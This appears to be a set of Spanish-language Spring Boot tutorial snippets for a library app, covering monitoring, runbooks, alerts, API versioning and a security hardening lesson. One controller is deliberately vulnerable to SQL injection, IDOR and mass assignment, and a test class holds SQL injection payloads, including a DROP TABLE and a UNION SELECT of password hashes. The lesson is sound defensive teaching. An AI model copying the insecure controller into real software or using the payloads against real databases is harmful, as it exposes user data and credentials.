@Component
public class MetricasVersionApi {
    @EventListener
    public void alUsarV1(PeticionV1Event evento) {
        Counter.builder("bibliotech.api.v1.uso")
                .tag("cliente", evento.identificadorCliente())     // baja cardinalidad
                .register(registro)
                .increment();
    }
}

./mvnw versions:display-dependency-updates       # qué dependencias tienen versión nueva
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

# Runbook: TasaDeErroresAlta

## Qué significa
Más del 1 % de las peticiones devuelven 5xx durante 5 minutos.

## Impacto
Usuarios recibiendo errores. Prioridad alta.

## Diagnóstico
1. ¿Hubo un despliegue en la última hora?
   `kubectl rollout history deployment/bibliotech -n produccion`
   → Si sí, **la primera hipótesis es esa**: `kubectl rollout undo`
2. ¿Qué endpoint falla?
   Grafana → BiblioTech Salud → «Errores por endpoint»
3. ¿Qué excepción?
   `{aplicacion="bibliotech"} | json | level="ERROR"` en Loki, últimos 15 min
4. ¿La base de datos responde?
   `curl -s $BASE/actuator/health | jq .components.db`
5. ¿El pool está saturado?
   Grafana → Recursos → «Conexiones pendientes»

## Causas frecuentes
| Síntoma | Causa | Solución |
|---|---|---|
| Errores tras un despliegue | Regresión | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caída o pool agotado | Comprobar la BD; buscar consultas lentas |
| `SocketTimeoutException` a metadatos | API externa caída | Activar el modo degradado |
| OOMKilled en los pods | Memoria insuficiente | Subir el límite; buscar fugas (10-07) |

## Escalado
Sin resolver en 30 min → avisar al responsable de guardia.

// El dominio incorpora la sede como concepto de primera clase
public record Sede(Long id, String nombre, String ciudad, ZoneId zonaHoraria) { }

public class Ejemplar {                    // NUEVO: separar Material de sus copias físicas
    private Material material;             // el "qué" (compartido)
    private Sede sede;                     // el "dónde"
    private String codigoInterno;
    private EstadoEjemplar estado;
}

@Component
class NotificadorCorreoConReintentos implements NotificadorAvisos {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void notificar(Aviso aviso) { … }

    @Recover
    void alAgotarReintentos(MailException e, Aviso aviso) {
        // A una cola de fallidos, para reintento manual. NUNCA perder el aviso en silencio.
        repositorioAvisosFallidos.guardar(AvisoFallido.de(aviso, e));
    }
}

@Component
class PublicadorEventosExternos {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publicar(MaterialDevuelto evento) {
        // Patrón "outbox": guardar el evento en la MISMA transacción que el cambio,
        // y publicarlo después desde un proceso aparte.
        // Sin esto, un fallo tras el commit pierde el evento.
        repositorioSalida.guardar(EventoSalida.de(evento));
    }
}

@RestController
@RequestMapping("/api/empleados")
public class EmpleadoController {

    @GetMapping("/{id}")
    public Empleado porId(@PathVariable Long id) {
        return repositorio.findById(id).orElseThrow();
    }

    @GetMapping("/{id}/prestamos")
    public List<Prestamo> prestamos(@PathVariable Long id) {
        return prestamoRepositorio.findByEmpleadoId(id);
    }

    @PutMapping("/{id}")
    public Empleado actualizar(@PathVariable Long id, @RequestBody Empleado empleado) {
        empleado.setId(id);
        return repositorio.save(empleado);
    }

    @GetMapping("/buscar")
    public List<Empleado> buscar(@RequestParam String nombre) {
        return em.createQuery("select e from Empleado e where e.nombre like '%" + nombre + "%'",
                              Empleado.class).getResultList();
    }
}

GET /api/v1/prestamos/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "empleado": "Marta Ruiz",
  "vencimiento": "2026-08-20",
  "devuelto": false,
  "multa": 0
}

@RestController
@RequestMapping("/api/v1/empleados")
@Validated
@Tag(name = "Empleados")
public class EmpleadoController {

    private final ServicioEmpleados servicio;
    private final GestionarPrestamos prestamos;

    // ---------------------------------------------------------------
    // Consulta de un empleado: o eres tú, o eres ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleadoResponse porId(@PathVariable Long id) {
        return servicio.buscarPorId(id)
                .map(EmpleadoResponse::desde)          // DTO: sin hash de contraseña, sin rol interno
                .orElseThrow(() -> new EmpleadoNoEncontradoException(id));   // → 404
    }

    // ---------------------------------------------------------------
    // Préstamos: propios, o BIBLIOTECARIO/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/prestamos")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARIO','ADMIN')")
    public PageResponse<PrestamoResponse> prestamosDe(
            @PathVariable Long id,
            @RequestParam(required = false) EstadoPrestamo estado,
            @PageableDefault(size = 20, sort = "fechaPrestamo",
                             direction = Sort.Direction.DESC) Pageable paginacion) {

        if (!servicio.existe(id)) throw new EmpleadoNoEncontradoException(id);

        return PageResponse.desde(
                prestamos.deEmpleado(id, estado, paginacion).map(PrestamoResponse::desde));
    }

    // ---------------------------------------------------------------
    // Actualización: DTO cerrado, nunca la entidad
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleadoResponse actualizar(@PathVariable Long id,
                                       @Valid @RequestBody ActualizarEmpleadoRequest peticion) {
        // El DTO SOLO tiene los campos modificables.
        // Es IMPOSIBLE enviar rol, hashContrasena, version o id.
        return EmpleadoResponse.desde(servicio.actualizar(id, peticion));
    }

    // ---------------------------------------------------------------
    // Cambio de rol: endpoint SEPARADO, solo ADMIN, auditado
    // ---------------------------------------------------------------
    @PutMapping("/{id}/rol")
    @PreAuthorize("hasRole('ADMIN')")
    @Auditado(accion = "CAMBIAR_ROL")
    public EmpleadoResponse cambiarRol(@PathVariable Long id,
                                       @Valid @RequestBody CambiarRolRequest peticion) {
        return EmpleadoResponse.desde(servicio.cambiarRol(id, peticion.rol()));
    }

    // ---------------------------------------------------------------
    // Búsqueda: parametrizada, paginada, con longitud limitada
    // ---------------------------------------------------------------
    @GetMapping("/buscar")
    @PreAuthorize("hasAnyRole('BIBLIOTECARIO','ADMIN')")
    public PageResponse<EmpleadoResumenResponse> buscar(
            @RequestParam @Size(min = 2, max = 100) String nombre,
            @PageableDefault(size = 20) Pageable paginacion) {

        return PageResponse.desde(
                servicio.buscarPorNombre(nombre, paginacion)   // consulta PARAMETRIZADA
                        .map(EmpleadoResumenResponse::desde)); // resumen: menos datos aún
    }
}

/** Salida: solo lo que este endpoint debe revelar. */
public record EmpleadoResponse(Long id, String nombre, String correo,
                               String departamento, LocalDate fechaAlta) {
    // SIN hashContrasena, SIN rol, SIN version, SIN datos internos
    public static EmpleadoResponse desde(Empleado e) {
        return new EmpleadoResponse(e.getId(), e.getNombre(), e.getCorreo(),
                                    e.getDepartamento(), e.getFechaAlta());
    }
}

/** Resumen para listados: aún menos información. */
public record EmpleadoResumenResponse(Long id, String nombre, String departamento) { }

/** Entrada: SOLO los campos que el usuario puede cambiar de sí mismo. */
public record ActualizarEmpleadoRequest(
        @NotBlank @Size(max = 150) String nombre,
        @NotBlank @Email @Size(max = 200) String correo,
        @Size(max = 100) String departamento) {
    // Ni id, ni rol, ni contraseña, ni version. Estructuralmente imposible.
}

public record CambiarRolRequest(@NotNull Rol rol) { }

public interface EmpleadoRepository extends JpaRepository<Empleado, Long> {

    /** Parametrizada: el valor NUNCA se interpreta como SQL. */
    @Query("""
           select e from Empleado e
           where lower(e.nombre) like lower(concat('%', :nombre, '%'))
           """)
    Page<Empleado> buscarPorNombre(@Param("nombre") String nombre, Pageable paginacion);
}

@WebMvcTest(EmpleadoController.class)
@Import(ConfiguracionSeguridad.class)
class EmpleadoControllerSeguridadTest {

    @Autowired MockMvc mvc;
    @MockitoBean ServicioEmpleados servicio;

    @Test
    void sinAutenticacionDevuelve401() throws Exception {
        mvc.perform(get("/api/v1/empleados/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLEADO")
    void unEmpleadoNoPuedeVerLosDatosDeOtro() throws Exception {
        mvc.perform(get("/api/v1/empleados/1"))       // el usuario 2 pide los datos del 1
                .andExpect(status().isForbidden());   // ← el IDOR está cerrado
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void unEmpleadoSiPuedeVerSusPropiosDatos() throws Exception {
        when(servicio.buscarPorId(1L)).thenReturn(Optional.of(unEmpleado(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/empleados/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.nombre").value("Marta Ruiz"))
                // Comprobar EXPLÍCITAMENTE que no se filtra nada
                .andExpect(jsonPath("$.hashContrasena").doesNotExist())
                .andExpect(jsonPath("$.rol").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void noSePuedeEscalarPrivilegiosEnLaActualizacion() throws Exception {
        // Intento de asignación masiva: enviar campos que el DTO no tiene
        mvc.perform(put("/api/v1/empleados/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"nombre":"Marta Ruiz","correo":"[email protected]",
                                 "rol":"ADMIN","hashContrasena":"loquesea","id":999}"""))
                .andExpect(status().isOk());

        // Los campos maliciosos se IGNORAN: el DTO no los tiene
        ArgumentCaptor<ActualizarEmpleadoRequest> captor =
                ArgumentCaptor.forClass(ActualizarEmpleadoRequest.class);
        verify(servicio).actualizar(eq(1L), captor.capture());
        assertThat(captor.getValue().nombre()).isEqualTo("Marta Ruiz");
        // No hay forma de que 'rol' haya llegado al servicio
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE empleado; --",
        "' OR '1'='1",
        "%' UNION SELECT hash_contrasena FROM empleado --"
    })
    @WithMockUser(roles = "BIBLIOTECARIO")
    void laBusquedaEsInmuneAInyeccionSql(String cargaMaliciosa) throws Exception {
        when(servicio.buscarPorNombre(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/empleados/buscar").param("nombre", cargaMaliciosa))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.contenido").isEmpty());

        // La carga llega como VALOR literal al repositorio, no como SQL
        verify(servicio).buscarPorNombre(eq(cargaMaliciosa), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void unEmpleadoNoPuedeCambiarRoles() throws Exception {
        mvc.perform(put("/api/v1/empleados/1/rol")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"rol\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

@Service
public class RenovacionAutomatica {

    private static final Logger log = LoggerFactory.getLogger(RenovacionAutomatica.class);

    private final MeterRegistry registro;
    private final AtomicLong ultimaEjecucion = new AtomicLong(0);

    @PostConstruct
    void registrarGauges() {
        Gauge.builder("bibliotech.renovacion_auto.ultima_ejecucion", ultimaEjecucion, AtomicLong::get)
                .description("Marca de tiempo Unix de la última ejecución correcta")
                .register(registro);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "renovacionAutomatica", lockAtMostFor = "30m")   // 12-06
    public void ejecutar() {
        Timer.Sample muestra = Timer.start(registro);
        MDC.put("proceso", "renovacion-automatica");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renovados = 0;
        Map<String, Integer> omitidos = new HashMap<>();

        try {
            List<Prestamo> candidatos = repositorio.venceenEn(1);
            registro.gauge("bibliotech.renovacion_auto.candidatos", candidatos.size());

            log.info("Renovación automática iniciada: {} candidatos", candidatos.size());

            for (Prestamo p : candidatos) {
                Optional<String> motivo = motivoParaNoRenovar(p);
                if (motivo.isPresent()) {
                    omitidos.merge(motivo.get(), 1, Integer::sum);
                    registro.counter("bibliotech.renovacion_auto.omitidos",
                                     "motivo", motivo.get()).increment();
                    // DEBUG: es el caso normal, no debe llenar el log
                    log.debug("Préstamo {} omitido: {}", p.getId(), motivo.get());
                    continue;
                }
                gestor.renovar(p.getId(), null);
                renovados++;
                registro.counter("bibliotech.renovacion_auto.renovados",
                                 "tipo_material", p.tipoMaterial().name()).increment();
            }

            ultimaEjecucion.set(Instant.now().getEpochSecond());
            registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "exito")
                    .increment();

            // INFO: una línea con el RESUMEN. Es lo que un operador querría ver (11-07).
            log.info("Renovación automática completada: {} candidatos, {} renovados, omitidos={}",
                     candidatos.size(), renovados, omitidos);

        } catch (Exception e) {
            registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "fallo")
                    .increment();
            log.error("Renovación automática fallida tras renovar {}", renovados, e);
            throw e;
        } finally {
            muestra.stop(registro.timer("bibliotech.renovacion_auto.duracion"));
            MDC.clear();       // regla de 11-07
        }
    }
}

# ALERTA 1: el proceso ha dejado de ejecutarse.
# La MÁS IMPORTANTE, porque es un fallo SILENCIOSO: nada da error,
# simplemente los préstamos dejan de renovarse y nadie se entera
# hasta que empiezan a llegar multas indebidas.
- alert: RenovacionAutomaticaNoEjecutada
  expr: (time() - bibliotech_renovacion_auto_ultima_ejecucion) > 93600      # 26 horas
  for: 10m
  labels: { severidad: alta }
  annotations:
    summary: "La renovación automática no se ejecuta desde hace {{ $value | humanizeDuration }}"
    accion: |
      1. ¿Existe el CronJob/planificador? kubectl get cronjob bibliotech-renovacion
      2. ¿Hay un bloqueo de ShedLock atascado? select * from shedlock where name='renovacionAutomatica'
      3. Ejecutar manualmente: bibliotech prestamo renovar-automatico --simular
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacion-auto"

# ALERTA 2: se ejecuta pero falla
- alert: RenovacionAutomaticaFallando
  expr: increase(bibliotech_renovacion_auto_ejecuciones_total{resultado="fallo"}[25h]) > 0
  for: 5m
  labels: { severidad: alta }
  annotations:
    summary: "La renovación automática ha fallado"
    accion: "Buscar en los logs: proceso=renovacion-automatica level=ERROR"

# ALERTA 3: cambio brusco de comportamiento.
# Detecta que una regla se ha roto: por ejemplo, un bug que hace que
# TODO se omita por 'con_reservas' cuando antes no ocurría.
- alert: RenovacionAutomaticaComportamientoAnomalo
  expr: |
    (sum(increase(bibliotech_renovacion_auto_renovados_total[25h]))
     / sum(increase(bibliotech_renovacion_auto_candidatos[25h]))) < 0.2
    and sum(increase(bibliotech_renovacion_auto_candidatos[25h])) > 20
  for: 30m
  labels: { severidad: media }
  annotations:
    summary: "Solo se renueva el {{ $value | humanizePercentage }} de los candidatos"
    descripcion: "Revisa la distribución de bibliotech_renovacion_auto_omitidos por motivo"

// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestamos")
@Tag(name = "Préstamos v1", description = "OBSOLETA — se retira el 2027-02-01")
public class PrestamoControllerV1 {

    private final GestionarPrestamos gestor;      // el MISMO caso de uso que v2
    private final MeterRegistry registro;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[OBSOLETO] Usa GET /api/v2/prestamos/{id}")
    public ResponseEntity<PrestamoResponseV1> porId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Cliente", defaultValue = "desconocido") String cliente) {

        // Medir QUIÉN sigue usando v1: sin esto, retirarla es una apuesta
        registro.counter("bibliotech.api.v1.uso", "cliente", cliente, "endpoint", "prestamo_por_id")
                .increment();

        Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/prestamos/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migracion-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"Esta versión de la API se retirará el 2027-02-01\"")
                .body(PrestamoResponseV1.desde(prestamo));
    }
}

/** DTO de v1: se CONGELA. No se le añade ni se le quita nada nunca más. */
public record PrestamoResponseV1(Long id, String isbn, String empleado,
                                 LocalDate vencimiento, boolean devuelto, BigDecimal multa) {

    public static PrestamoResponseV1 desde(Prestamo p) {
        return new PrestamoResponseV1(
                p.getId(), p.getIsbn().valor(), p.nombreDelEmpleado(),
                p.getFechaVencimiento(),
                p.getFechaDevolucion().isPresent(),
                p.multaAcumulada(LocalDate.now()).importe());
    }
}

// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestamos")
@Tag(name = "Préstamos")
public class PrestamoControllerV2 {

    @GetMapping("/{id}")
    public PrestamoResponseV2 porId(@PathVariable Long id) {
        Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));
        return PrestamoResponseV2.desde(prestamo, LocalDate.now(reloj));
    }
}

public record PrestamoResponseV2(
        Long id,
        String isbn,
        EmpleadoResumen empleado,          // objeto, no cadena
        LocalDate fechaPrestamo,
        LocalDate fechaVencimiento,
        LocalDate fechaDevolucion,
        EstadoPrestamo estado,             // enumerado, no booleano
        Importe multa,                     // objeto con moneda
        boolean renovable,                 // NUEVO
        long diasRestantes) {              // NUEVO

    public record EmpleadoResumen(Long id, String nombre, String correo) { }
    public record Importe(BigDecimal importe, String moneda) { }

    public static PrestamoResponseV2 desde(Prestamo p, LocalDate hoy) {
        return new PrestamoResponseV2(
                p.getId(), p.getIsbn().valor(),
                new EmpleadoResumen(p.getIdEmpleado(), p.nombreDelEmpleado(), p.correoDelEmpleado()),
                p.getFechaPrestamo(), p.getFechaVencimiento(),
                p.getFechaDevolucion().orElse(null),
                p.getEstado(),
                new Importe(p.multaAcumulada(hoy).importe(), "EUR"),
                p.getEstado().permiteRenovar(),
                ChronoUnit.DAYS.between(hoy, p.getFechaVencimiento()));
    }
}

@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticion) {
        ProblemDetail detalle = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, no 404: "existió y se eliminó a propósito"
                "La versión 1 de la API se retiró el 2027-02-01. Migra a /api/v2.");
        detalle.setTitle("Versión de API retirada");
        detalle.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracion-v2"));
        detalle.setProperty("versionActual", "v2");
        detalle.setProperty("guiaMigracion", "https://docs.nexussoftware.com/bibliotech/migracion-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detalle);
    }
}

# Uso de v1 por cliente en los últimos 7 días
sum(increase(bibliotech_api_v1_uso_total[7d])) by (cliente)

# Porcentaje de tráfico que sigue en v1
sum(rate(bibliotech_api_v1_uso_total[1d]))
/ (sum(rate(bibliotech_api_v1_uso_total[1d])) + sum(rate(bibliotech_api_v2_uso_total[1d])))

- alert: UsoDeV1TrasFechaDeRetirada
  expr: sum(increase(bibliotech_api_v1_uso_total[1d])) by (cliente) > 0
  labels: { severidad: media }
  annotations:
    summary: "El cliente {{ $labels.cliente }} sigue usando la API v1"
    accion: "Contactar antes del 2027-02-01"

# Migración de la API de BiblioTech: v1 → v2

**La v1 se retirará el 1 de febrero de 2027.**

## Qué cambia

| Campo v1 | Campo v2 | Cambio |
|---|---|---|
| `empleado` (cadena) | `empleado.nombre` | Ahora es un objeto con `id`, `nombre` y `correo` |
| `vencimiento` | `fechaVencimiento` | Renombrado |
| `devuelto` (booleano) | `estado` (enumerado) | `ACTIVO`, `RENOVADO`, `VENCIDO`, `DEVUELTO`, `PERDIDO` |
| `multa` (número) | `multa.importe` + `multa.moneda` | Objeto con moneda explícita |
| — | `renovable` | **Nuevo** |
| — | `diasRestantes` | **Nuevo** |
| — | `fechaPrestamo`, `fechaDevolucion` | **Nuevos** |

## Equivalencias

## Cronograma
- **2026-09-01**: v2 disponible. v1 obsoleta (funciona con normalidad).
- **2027-01-01**: aviso final.
- **2027-02-01**: v1 retirada. Devolverá `410 Gone`.

## Ayuda
[email protected] — o abre una incidencia en el repositorio.